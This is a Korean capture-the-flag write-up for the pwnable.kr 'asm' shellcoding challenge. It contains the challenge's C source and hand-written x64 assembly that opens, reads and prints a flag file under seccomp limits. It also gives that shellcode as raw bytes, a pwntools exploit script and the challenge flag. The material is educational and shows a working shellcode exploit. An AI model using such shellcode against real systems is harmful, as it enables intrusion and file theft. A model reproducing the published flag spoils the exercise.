Pwnablekr_Toddlers Bottle_asm

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}사용자에게 셸 코드를 입력받아 실행한다. open, read, write 시스템콜을 이용하여 파일 내용을 읽고 출력하는 셸코드를 만들어야 한다. 실행은 nc로 붙어서 한다.
section .text
global _start
_start:
;open
xor rax, rax
add rax, 2 ; open syscall
xor rdi, rdi
xor rsi, rsi
push rsi ; 0x00
mov r8, 0x676E6F306F306FAA ;file name
shr r8, 8
push r8
mov r8, 0x306F306F306F306F
push r8
mov r8, 0x3030303030303030
push r8
mov r8, 0x303030306F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F3030303030
push r8
mov r8, 0x3030303030303030
push r8
mov r8, 0x3030303030303030
push r8
mov r8, 0x303030306F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6F6F6F6F6F6F6F6F
push r8
mov r8, 0x6C5F797265765F73
push r8
mov r8, 0x695F656D616E5F65
push r8
mov r8, 0x6C69665F6568745F
push r8
mov r8, 0x7972726F732E656C
push r8
mov r8, 0x69665F736968745F
push r8
mov r8, 0x646165725F657361
push r8
mov r8, 0x656C705F656C6966
push r8
mov r8, 0x5F67616C665F726B
push r8
mov r8, 0x2E656C62616E7770
push r8
mov r8, 0x5F73695F73696874
push r8
add rdi, rsp
xor rsi, rsi
syscall
;read
xchg rax, rdi
xor rax, rax
mov rsi, rsp
xor rdx, rdx
mov dl, 0xFF
syscall
;write
xor rdi, rdi
add rdi, 1
mov rsi, rsp
xor rax, rax
add rax, 1 ; syscall for write
mov dl, 50 ; length in rdx
syscall
;close
xor rax, rax
add rax, 3
syscall
;exit
xor rax, rax
mov al, 60
xor rdi, rdi
syscall 위 셸코드는 스택에 파일 이름을 저장한다. 이때 리틀엔디안에 주의한다. 파일을 연 뒤 그 내용을 read 시스템콜로 스택에 읽는다. 그리고 write 시스템콜로 파일 내용을 출력한다.
넉넉하게 출력하여 스택에 남은 파일 이름 일부가 함께 출력된다. (이는 무시)
온라인 어셈블러를 이용하면 셸 코드를 간편히 원하는 형태로 뽑을 수 있다. 단, 이를 이용하기 위해서는 주석을 제거해야 한다.
익스플로잇은 다음과 같다.
from pwn import *
shell = "\x48\x31\xC0\x48\x83\xC0\x02\x48\x31\xFF\x48\x31\xF6\x56\x49\xB8\xAA\x6F\x30\x6F\x30\x6F\x6E\x67\x49\xC1\xE8\x08\x41\x50\x49\xB8\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x41\x50\x49\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x30\x30\x30\x30\x30\x6F\x6F\x6F\x41\x50\x49\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x41\x50\x49\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x41\x50\x49\xB8\x73\x5F\x76\x65\x72\x79\x5F\x6C\x41\x50\x49\xB8\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x41\x50\x49\xB8\x5F\x74\x68\x65\x5F\x66\x69\x6C\x41\x50\x49\xB8\x6C\x65\x2E\x73\x6F\x72\x72\x79\x41\x50\x49\xB8\x5F\x74\x68\x69\x73\x5F\x66\x69\x41\x50\x49\xB8\x61\x73\x65\x5F\x72\x65\x61\x64\x41\x50\x49\xB8\x66\x69\x6C\x65\x5F\x70\x6C\x65\x41\x50\x49\xB8\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x41\x50\x49\xB8\x70\x77\x6E\x61\x62\x6C\x65\x2E\x41\x50\x49\xB8\x74\x68\x69\x73\x5F\x69\x73\x5F\x41\x50\x48\x01\xE7\x48\x31\xF6\x0F\x05\x48\x97\x48\x31\xC0\x48\x89\xE6\x48\x31\xD2\xB2\xFF\x0F\x05\x48\x31\xFF\x48\x83\xC7\x01\x48\x89\xE6\x48\x31\xC0\x48\x83\xC0\x01\xB2\x32\x0F\x05\x48\x31\xC0\x48\x83\xC0\x03\x0F\x05\x48\x31\xC0\xB0\x3C\x48\x31\xFF\x0F\x05"
p = remote("localhost", 9026)
#p = process("./asm")
print(p.recvuntil("shellcode: "))
p.send(shell)
p.interactive()

flag는 Mak1ng_shelLcodE_i5_veRy_eaSy 이다.
tags: writeup, pwnable, elf file, linux, c lang, x64asm, shellcode, systemcall